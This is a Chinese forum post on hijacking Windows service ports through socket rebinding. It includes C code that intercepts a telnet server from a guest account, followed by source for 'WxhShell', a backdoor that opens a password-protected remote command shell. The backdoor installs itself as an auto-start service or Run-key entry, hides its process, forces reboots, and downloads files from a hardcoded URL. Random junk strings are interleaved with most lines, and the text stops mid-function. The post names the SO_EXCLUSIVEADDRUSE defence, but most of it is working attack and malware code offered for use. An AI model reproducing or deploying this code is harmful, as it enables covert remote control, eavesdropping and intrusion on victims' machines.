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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: LQ7.RK  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); aSKLSl't`  
&vDK6w,  
  saddr.sin_family = AF_INET; ?"d25LyN  
WSt&?+Y  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); {hS9FdWA;  
-2{NIF^H  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ^1#"FU2cP  
Qh4<HQ<9  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 |wnXBKV(  
^""Ss  
  这意味着什么?意味着可以进行如下的攻击: r+4<Lon~  
pyW&`(]S  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 BrWo/1b  
7Vn;LW  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 'zEmg}  
 !e+^}s  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 X ^ ?M4  
r#% e$  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  $jpAnZR- /  
{0&'XA=j  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 S? -6hGA j  
z1-JoZ  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 TqvgCk-  
[>rX/a%c  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 x&ngCB@O  
pj~Ao+  
  #include kw%vO6"q(  
  #include aBBTcN%'  
  #include kM#ZpI&0%  
  #include    8PR1RC J  
  DWORD WINAPI ClientThread(LPVOID lpParam);   7Fg-}lJAC  
  int main() :o)4Y  
  { o=&tT,z  
  WORD wVersionRequested; p\"WX  
  DWORD ret; H=_ Wio  
  WSADATA wsaData; p41TSALq  
  BOOL val; mbij& 0  
  SOCKADDR_IN saddr; O|5Z-r0<  
  SOCKADDR_IN scaddr; /nbHin#we  
  int err; ^an3&  
  SOCKET s; Gkc.HFn(  
  SOCKET sc; 'aW}&!H M  
  int caddsize; 6 lp.0B  
  HANDLE mt; qu}&4_`%:V  
  DWORD tid;   4 Qo(Wl  
  wVersionRequested = MAKEWORD( 2, 2 ); 3NLC~CJ  
  err = WSAStartup( wVersionRequested, &wsaData ); W)RCo}f  
  if ( err != 0 ) { G2  
  printf("error!WSAStartup failed!\n"); >ZE8EL  
  return -1; "@!B"'xg  
  } LW"p/`#<  
  saddr.sin_family = AF_INET; Id<3'ky<N  
   'S[&-D%(3  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 i^i^g5l!  
\-Oq/g{j  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ^lt;K{  
  saddr.sin_port = htons(23); A6D@#(D  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 4v=NmO }  
  { \Y>!vh X  
  printf("error!socket failed!\n"); -W#-m'Lvu  
  return -1; 'Q^P#<<  
  } shn{]Y  
  val = TRUE; @TvoCDeI  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 `egyk)"aM  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) OdZLJt?g  
  { 2I8 RO\zR  
  printf("error!setsockopt failed!\n"); I3#h  
  return -1; p+t79F.js  
  } ggy 7p44  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; `T-lBwH  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 c`F~vrr)X  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 2l8TX#K  
i uNBw]  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) tn"n~;Bh?:  
  { 5S;|U&f|  
  ret=GetLastError(); H.n+CR  
  printf("error!bind failed!\n"); cAL*Md8+  
  return -1; "TLY:V  
  } YFGQPg  
  listen(s,2); SWrt4G  
  while(1) 5ree3 quh  
  { T!iRg=<bz  
  caddsize = sizeof(scaddr); snl$v  
  //接受连接请求 4X()D {uR  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); %Ob#GA+  
  if(sc!=INVALID_SOCKET) !%1=|PX_  
  { pejG%pJ  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); EYsf<8cl  
  if(mt==NULL) Z7Y+rP[l  
  { U#7moS'r  
  printf("Thread Creat Failed!\n"); ';CL;A;  
  break; '&|]tu:q  
  } N9[2k.oBH  
  } "I7 Sed7  
  CloseHandle(mt); b{Qg$ZJeR  
  } No'^]r  
  closesocket(s); F1q a`j^'  
  WSACleanup(); *<5zMSZO  
  return 0; &ND8^lR=Y;  
  }   +1R qo  
  DWORD WINAPI ClientThread(LPVOID lpParam) pYtvenBy  
  { ,rO>5$w.  
  SOCKET ss = (SOCKET)lpParam; jgkJF[t`  
  SOCKET sc; #Q6.r.3@x  
  unsigned char buf[4096]; ]Zj6W9]m  
  SOCKADDR_IN saddr; r=`]L-}V  
  long num; #Fl5]> |  
  DWORD val; iJr 1w&GL$  
  DWORD ret; G OzV#  
  //如果是隐藏端口应用的话,可以在此处加一些判断 \0^ZNa?  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   f:).wi Ld  
  saddr.sin_family = AF_INET; v4YY6? 4  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); <21@jdu3n,  
  saddr.sin_port = htons(23); y{`aM(&  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Wl4T}j  
  { fG^#G/n2  
  printf("error!socket failed!\n"); V*|#j0}b  
  return -1; E>|xv#:~DV  
  } OFyZY@B-C~  
  val = 100; =>_k;x  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) e@GR[0~  
  { \N?,6;%xB  
  ret = GetLastError(); fFBD5q(n  
  return -1; c'678!r9 P  
  } m V U(b,  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) W8/8V,  
  { $;ssW"7~Qn  
  ret = GetLastError(); ? 7H'#l  
  return -1; I|{A&G}|q  
  } Z Rjqjx  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 3=SN;cn  
  { Rzolue 8  
  printf("error!socket connect failed!\n"); ,%L>TD'48s  
  closesocket(sc); Y?^1=9?6  
  closesocket(ss); '%D$|)  
  return -1; +mr\AAFn  
  } @`hnp:  
  while(1) @ZD/y %e  
  { ~I+}u]J  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 q,W6wM;,E  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 *>ilT5q  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 L&i_  
  num = recv(ss,buf,4096,0); t]j4PNzn  
  if(num>0) 1e0O-aT#Q  
  send(sc,buf,num,0); !.(%"  
  else if(num==0) +&T;jad2  
  break; EK-Qa<[|  
  num = recv(sc,buf,4096,0); W/U_:^[-  
  if(num>0) <K#]1xCA  
  send(ss,buf,num,0); [q MFLY$  
  else if(num==0) :*{>=BD  
  break; K~?M?sa  
  } Tt0:rQ.  
  closesocket(ss); => PBdW  
  closesocket(sc); * MJl(  
  return 0 ; @k~_ w#  
  } }iK_7g`yKa  
pxF<L\L?:  
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========================================================== }-e  
+h*.%P}o  
下边附上一个代码,,WXhSHELL VHyP@JB  
G?y'<+Awt  
========================================================== y[}O(  
pO~VI$7  
#include "stdafx.h" ^w+jPT-n  
R]-$]koQO  
#include <stdio.h> .Fz5K&E=  
#include <string.h> f +#  
#include <windows.h> Od>^yhn  
#include <winsock2.h> bwo{ Lw~  
#include <winsvc.h> A ko}v"d  
#include <urlmon.h> m-~eCFc  
PR&D67:Jy  
#pragma comment (lib, "Ws2_32.lib") l<](8oc. w  
#pragma comment (lib, "urlmon.lib") R/yOy ^<  
h%hE$2  
#define MAX_USER   100 // 最大客户端连接数 I& `>6=)  
#define BUF_SOCK   200 // sock buffer 'k9?n)<DW  
#define KEY_BUFF   255 // 输入 buffer Lnk!zj  
+Rtz`V1d  
#define REBOOT     0   // 重启 pY3N7&m\:  
#define SHUTDOWN   1   // 关机 Ozygr?*X  
~okIiC]#  
#define DEF_PORT   5000 // 监听端口 #$vef  
xELnik_L2  
#define REG_LEN     16   // 注册表键长度 Kp|#04]  
#define SVC_LEN     80   // NT服务名长度 . k6)  
H3#xBn>9  
// 从dll定义API >};6>)0  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ]g>@r.Nc  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); T4W"!4[  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); jU#/yM "Y  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); doCWJ   
[7gyF}*;  
// wxhshell配置信息 M!=WBw8Y]a  
struct WSCFG { Kb_R "b3v  
  int ws_port;         // 监听端口 gc'C"(TO(  
  char ws_passstr[REG_LEN]; // 口令 IH$R X GL  
  int ws_autoins;       // 安装标记, 1=yes 0=no Y:nF.An3  
  char ws_regname[REG_LEN]; // 注册表键名 ;x[F4d  
  char ws_svcname[REG_LEN]; // 服务名 ,RkL|'1l  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ;|2h&8yX(/  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 sP0pw]!  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 s[yIvlHw`  
int ws_downexe;       // 下载执行标记, 1=yes 0=no u@`)u#  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" mGQgy[gX  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 J,s)Fu\j@  
=5P_xQx  
}; h_ ^,|@C "  
+[ _)i9a  
// default Wxhshell configuration '~-Lxvf'  
struct WSCFG wscfg={DEF_PORT, !;SpQ28  
    "xuhuanlingzhe", WC!bB  
    1, ~3 {C &c  
    "Wxhshell", \ B~9Ue!  
    "Wxhshell", CfMq?.4%E}  
            "WxhShell Service", &FWPb#  
    "Wrsky Windows CmdShell Service", mx#H+:}&r  
    "Please Input Your Password: ", qAH@)}  
  1, D_6GzgZ  
  "http://www.wrsky.com/wxhshell.exe", :x*8*@kC  
  "Wxhshell.exe" Co2* -[R  
    }; Yx_[vLm  
E"Z9 NDgl#  
// 消息定义模块 wHW";3w2~  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; %6`{KT?  
char *msg_ws_prompt="\n\r? for help\n\r#>"; r9Ux=W\  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 2Yx6.e<  
char *msg_ws_ext="\n\rExit."; `_]Z#X&&h  
char *msg_ws_end="\n\rQuit."; b$sw`Rsw  
char *msg_ws_boot="\n\rReboot..."; \/jr0):  
char *msg_ws_poff="\n\rShutdown..."; r)|X?   
char *msg_ws_down="\n\rSave to "; &jgpeFiiC  
8#%p[TLj  
char *msg_ws_err="\n\rErr!"; PN{l)&K2.  
char *msg_ws_ok="\n\rOK!"; u7u8cVF  
1#AdEd[  
char ExeFile[MAX_PATH]; v>3)^l:=Y*  
int nUser = 0; ]JX0:'x^  
HANDLE handles[MAX_USER]; s,TKC67.%+  
int OsIsNt; o~ .[sn5l-  
W{Cc wq  
SERVICE_STATUS       serviceStatus; Kp *nOZ  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; (o_fY.  
>4a@rT/  
// 函数声明 .>0e?A4,5?  
int Install(void); A>6 b 6  
int Uninstall(void); N\<RQtDg  
int DownloadFile(char *sURL, SOCKET wsh); 9i)E<.6  
int Boot(int flag); LxkToO{  
void HideProc(void); XD`QU m  
int GetOsVer(void); 0lNVQxG  
int Wxhshell(SOCKET wsl); 7z \I\8  
void TalkWithClient(void *cs); 'sJ=h0d_[V  
int CmdShell(SOCKET sock); 8T'=lTJ  
int StartFromService(void); L!E/ )#{  
int StartWxhshell(LPSTR lpCmdLine); =R#K` H66j  
MN2#  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ?JTy+V2t  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); f>JuxX\G  
pN<wO1\9  
// 数据结构和表定义 pb`F_->uq  
SERVICE_TABLE_ENTRY DispatchTable[] = 4Vj|k\vE4  
{ V *=To  
{wscfg.ws_svcname, NTServiceMain}, X75>C<  
{NULL, NULL} uROt h_/  
}; - Z"w  
oC>QJ(o,8  
// 自我安装 (Q !4\Gy  
int Install(void) <@n/[ +3  
{ cA"',N8!5  
  char svExeFile[MAX_PATH]; lTPo2-j/eK  
  HKEY key; ^RG6h  
  strcpy(svExeFile,ExeFile); : j&M&+  
"U34D1I )#  
// 如果是win9x系统,修改注册表设为自启动 }N5>^y  
if(!OsIsNt) { ;C%40;Q  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 59";{"sw  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); lIO.LF3  
  RegCloseKey(key); R2Fh WiL  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { N<+ ><>9  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); %4U;Rdq&Ud  
  RegCloseKey(key); hS&,Gm`^  
  return 0; ]#N2:ych  
    } )((Jnm D  
  } 2%N$Y]  
} #NVtZs!V/  
else { U9IP`)z_5t  
k,M%/AXd  
// 如果是NT以上系统,安装为系统服务 693J?Yah[  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ^Sx 0t  
if (schSCManager!=0) < pI2}  
{ _3h(R`VdWO  
  SC_HANDLE schService = CreateService s z/7cLo  
  ( zF%CFqQ  
  schSCManager, x^}kG[s  
  wscfg.ws_svcname, i]*W t8~!  
  wscfg.ws_svcdisp, /hf}f=7kH  
  SERVICE_ALL_ACCESS, ,v:m  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ^jb55X}  
  SERVICE_AUTO_START, J_R54Y~vu  
  SERVICE_ERROR_NORMAL, [P2$[|IM  
  svExeFile, xBd#  
  NULL, 3 q  
  NULL, [AQ6ads)  
  NULL, +ex@[grsGT  
  NULL, Mn$TWhg'  
  NULL Nh~ Hh(   
  ); "<0BCJJ  
  if (schService!=0) +Y,>ftN  
  { d8Jy$,/`?  
  CloseServiceHandle(schService); |c,":R  
  CloseServiceHandle(schSCManager); STs~GOm-  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); JpE4 o2  
  strcat(svExeFile,wscfg.ws_svcname); ^ng#J\  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { zcD&xoL\H  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 9H ?er_6Yf  
  RegCloseKey(key); bT}P":*y  
  return 0; CQ2{5  
    } bCg {z b#  
  } z71.5n!C  
  CloseServiceHandle(schSCManager); Gvv~P3Dm  
} i4 KW  
} 7 2ux3D  
VYkOJAEBg  
return 1; ?8. $A2(Xw  
} xRW~xr2h@  
lDO9GNz$  
// 自我卸载 #_y#sDfzh  
int Uninstall(void) ]uX'[Z}t  
{ q=ZLSBZ  
  HKEY key; 2V_C_5)1  
),0_ C\  
if(!OsIsNt) { z`((l#(  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { eIK8J,-  
  RegDeleteValue(key,wscfg.ws_regname); +ZtqR  
  RegCloseKey(key); xn1  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { G!k&'{2  
  RegDeleteValue(key,wscfg.ws_regname); `C`CU?D  
  RegCloseKey(key); oEU %"  
  return 0; EsXCi2]1  
  } D4<nS<8  
} KZzOs9 s  
} }rsD$  
else { MPA<?  
s;X"E =  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); P %f],f  
if (schSCManager!=0) ] o tjoM  
{ 5j1}?0v_  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ii0AhQ  
  if (schService!=0) wxVf6`  
  { LU~U>  
  if(DeleteService(schService)!=0) { u_s  
  CloseServiceHandle(schService); 6ND,4'6  
  CloseServiceHandle(schSCManager); Zalgg/.  
  return 0; Kvv&# eO\  
  } LGKkT?fcSC  
  CloseServiceHandle(schService); FOgF'!K  
  } @26H;  
  CloseServiceHandle(schSCManager); AZt~ \qf  
} /4+M0Pl  
} [c]X) @#S  
#o_`$'>  
return 1; 12DMb9_rp  
} -}@3,G  
S{{D G  
// 从指定url下载文件 vE7L> 7  
int DownloadFile(char *sURL, SOCKET wsh) BbUZ,X*Y  
{ \ }>1$kH;  
  HRESULT hr; *DObtS_ 6  
char seps[]= "/"; P!'Sx;C^f  
char *token; AJ`b- $Q  
char *file; &\4AvaeA8y  
char myURL[MAX_PATH]; "AP'' XNi  
char myFILE[MAX_PATH]; He^+>XIam  
YUJlQ2e(  
strcpy(myURL,sURL); {co(w 7  
  token=strtok(myURL,seps); kX."|]  
  while(token!=NULL) E8J `7sa  
  { +Tc<|-qQn  
    file=token; OsPx-|f S~  
  token=strtok(NULL,seps); zI8Q "b  
  } A>(m}P  
n c:^)G  
GetCurrentDirectory(MAX_PATH,myFILE); &N GYV  
strcat(myFILE, "\\"); RN238]K  
strcat(myFILE, file); \Xc6K!HJM  
  send(wsh,myFILE,strlen(myFILE),0); {EGiGwpf  
send(wsh,"...",3,0); %ribxgmd  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); EMzJJe{Cv  
  if(hr==S_OK) p8hF`D~  
return 0; %YG ~ql  
else GJai!$v  
return 1; PF*<_p"j  
~?m';  
} Yv }G"-=  
Brr{iBz*"  
// 系统电源模块 y_M<\b  
int Boot(int flag) ]24aK_Uu  
{ zM"OateA  
  HANDLE hToken; VI0^Zq!6R  
  TOKEN_PRIVILEGES tkp; +'Pl?QyH  
'A .c*<_  
  if(OsIsNt) { VlRN  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); YlwCl4hq  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); |`_qmk[:R  
    tkp.PrivilegeCount = 1; ?Q[uIQ?dV  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; //]g78]=O  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); lHv;C*(_=  
if(flag==REBOOT) { 8hba3L_Z  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) xOP%SF  
  return 0; gN1b?_g  
} `Gzukh  
else { ))|Wm}  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) \.2?951}  
  return 0; M 8a^yoZn  
} lrB@n?hk  
  } /9NQ u  
  else { c<L^ 1,G2  
if(flag==REBOOT) { {[hH: \  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) *Uie{^p?  
  return 0; <:0649ZB  
} U:m[* }+<  
else { fs+l  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) wV-1B\m  
  return 0; ;E>5<[aa  
} wx n D3  
} Wk"4mq  
/"+YE&>\  
return 1; e  p~3e5  
} ne] |\]  
}GJIM|7^  
// win9x进程隐藏模块 N ncur]  
void HideProc(void) B~QX{  
{ i<&*f}='  
7YsBwo  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); >Lp^QP1gU  
  if ( hKernel != NULL ) 2ikY.Xi6  
  { -hj@^Auf  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); #Mw|h^ Wm  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); \c3zK|^  
    FreeLibrary(hKernel); ^ }Rqe  
  } |E-/b6G  
} NW^?37  
return; NH$%g\GPs  
} <h:>:%#k  
_+YCwg  
// 获取操作系统版本 )QEvV:\  
int GetOsVer(void) h 92\1,  
{ eBX#^  
  OSVERSIONINFO winfo; (iM"ug2  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Q1 ?O~ao  
  GetVersionEx(&winfo); Nl3 x BM%  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) j9Ptd$Uj  
  return 1; 2.CjjI  
  else Ex9%i9H  
  return 0; sE@t$'=  
} B?9K!c  
3IQ)%EN  
// 客户端句柄模块 <-62m8N|  
int Wxhshell(SOCKET wsl) 6*cG>I.Z  
{ Fj}|uiOQUS  
  SOCKET wsh; rq?:I:0  
  struct sockaddr_in client; i <0H W  
  DWORD myID; a)=WDRk  
T`KH7y|bv  
  while(nUser<MAX_USER) YYU Di@K  
{ <jE6ye(R  
  int nSize=sizeof(client); l[lUmE  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); yPrp:%PS  
  if(wsh==INVALID_SOCKET) return 1; UOHU 1.3$T  
rU<NHFGj4  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); s'' ?: +  
if(handles[nUser]==0) hNs970i  
  closesocket(wsh); D,%R[F? 5O  
else g\;AU2?p7  
  nUser++; *5Upb,* *  
  } x'kwk  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); N p9N#m?  
>FED*C4  
  return 0; ?#?[6t  
} ks|[`FH  
BqC, -gC  
// 关闭 socket S6CM/  
void CloseIt(SOCKET wsh) #TZf\0\!  
{ 9XWHr/-_@  
closesocket(wsh); )w];eF0c  
nUser--; ''Fy]CwH(  
ExitThread(0); UH/)4Wg  
} #R$d6N[H  
|d^r"wbs3  
// 客户端请求句柄 +;~JHx.~X  
void TalkWithClient(void *cs) y;Xb." e~  
{ sPY *2B  
n ^P=a'+  
  SOCKET wsh=(SOCKET)cs; \hN\px  
  char pwd[SVC_LEN]; dK'?<w$  
  char cmd[KEY_BUFF]; V&`\ s5Q  
char chr[1]; RN\4y{@  
int i,j; 54~`8f  
 ^ZnlWZ@r  
  while (nUser < MAX_USER) { c#sPM!!  
z3+y|nx!  
if(wscfg.ws_passstr) { AY4ZU CqI  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Q!K@  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); YSwAu,$jf  
  //ZeroMemory(pwd,KEY_BUFF); !Cxo4Twg  
      i=0; wHm{4  
  while(i<SVC_LEN) { LX),oR  
XH4!|wz  
  // 设置超时 `&$"oW{HW  
  fd_set FdRead; )1ia;6}  
  struct timeval TimeOut; 7[5g_D t  
  FD_ZERO(&FdRead); Gxu   
  FD_SET(wsh,&FdRead); 2|]$hjs  
  TimeOut.tv_sec=8; -y]\;pbZ0  
  TimeOut.tv_usec=0; N %N %  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); f!hQ"1[  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); $3>k/*=  
DpjiE/*  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); }[ LME Z  
  pwd=chr[0]; tWR>I$O8F  
  if(chr[0]==0xd || chr[0]==0xa) { >Ia{ZbQV  
  pwd=0; ] -"~?  
  break; s\ft:a@  
  } $z,lq#zzl  
  i++; j<H`<S  
    } 0,+RF "R  
%T@3-V_  
  // 如果是非法用户,关闭 socket gTWl];xja  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); MMg"G6?  
} [of{~  
ZN>oz@j Y  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); GJz d4kj  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Z$!>hiz2  
B:S/ ?v  
while(1) { [1Pw2MC<  
ucP}( $  
  ZeroMemory(cmd,KEY_BUFF); &LM@_P"T  
r&sm&4)p-5  
      // 自动支持客户端 telnet标准   WLGk  
  j=0; t mAj  
  while(j<KEY_BUFF) { g a|RW0  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 3YT>3f!\  
  cmd[j]=chr[0]; 'o=`1I  
  if(chr[0]==0xa || chr[0]==0xd) { [=*c8  
  cmd[j]=0; 5BKga1Q  
  break; OB"Ur-hJ0  
  } lc1?Vd$  
  j++; l/9V59Fv9  
    } *olV Y/'O  
gyi<ot;  
  // 下载文件 1{@f:~v?  
  if(strstr(cmd,"http://")) { y ,][  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); #xL^S9P  
  if(DownloadFile(cmd,wsh)) >DX\^86x  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2eErvfC[  
  else YEfa8'7R  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); w@&g9e6E  
  } ph\KTLU  
  else { 0>hV?A  
F FHk0!3  
    switch(cmd[0]) { $s$j</.q  
  h+EG) <  
  // 帮助 dqwCyYC  
  case '?': { ZL[~[  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); } LuPYCzpu  
    break; <=WSX{_D  
  } 1F?`.~q  
  // 安装 L=Cm0q 3 v  
  case 'i': { A0{ !m  
    if(Install()) Cv7FVl-I  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0}:- t^P  
    else ;Zfglid  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4+&4  
    break; bxX[$q  
    } &w\E*$  
  // 卸载 I2G4j/c=z  
  case 'r': { ^8dd  
    if(Uninstall()) On%21L;JG  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Hc.r/  
    else pzcV[E1  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); L ;5R*)t  
    break; pw;  
    } "fWAp*nI3t  
  // 显示 wxhshell 所在路径 `I*W}5  
  case 'p': { /)I:C z/f  
    char svExeFile[MAX_PATH]; S[!sJ-rG  
    strcpy(svExeFile,"\n\r"); & h)G>Sqc  
      strcat(svExeFile,ExeFile); /H 3u^  
        send(wsh,svExeFile,strlen(svExeFile),0); |eS5~0<`  
    break; p H&Tb4  
    } W vh3Y,|3  
  // 重启 Q1tZ]Q.6  
  case 'b': { ?VC[%sjwn  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); G#{ Xd6L  
    if(Boot(REBOOT)) m$nT#@l5bH  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); C1=7.dPr  
    else { s;oDwT1  
    closesocket(wsh); i=b<Mz7|  
    ExitThread(0); :4 9ttJl  
    } R.n:W;^`  
    break; EC[2rROn\  
    } ]Tmx;[D  
  // 关机 jSMvZJX3n  
  case 'd': { y&8' V\  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); +E.}k!y  
    if(Boot(SHUTDOWN)) i4 BCm/h  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8r"$o1!  
    else { 6J/"1 _  
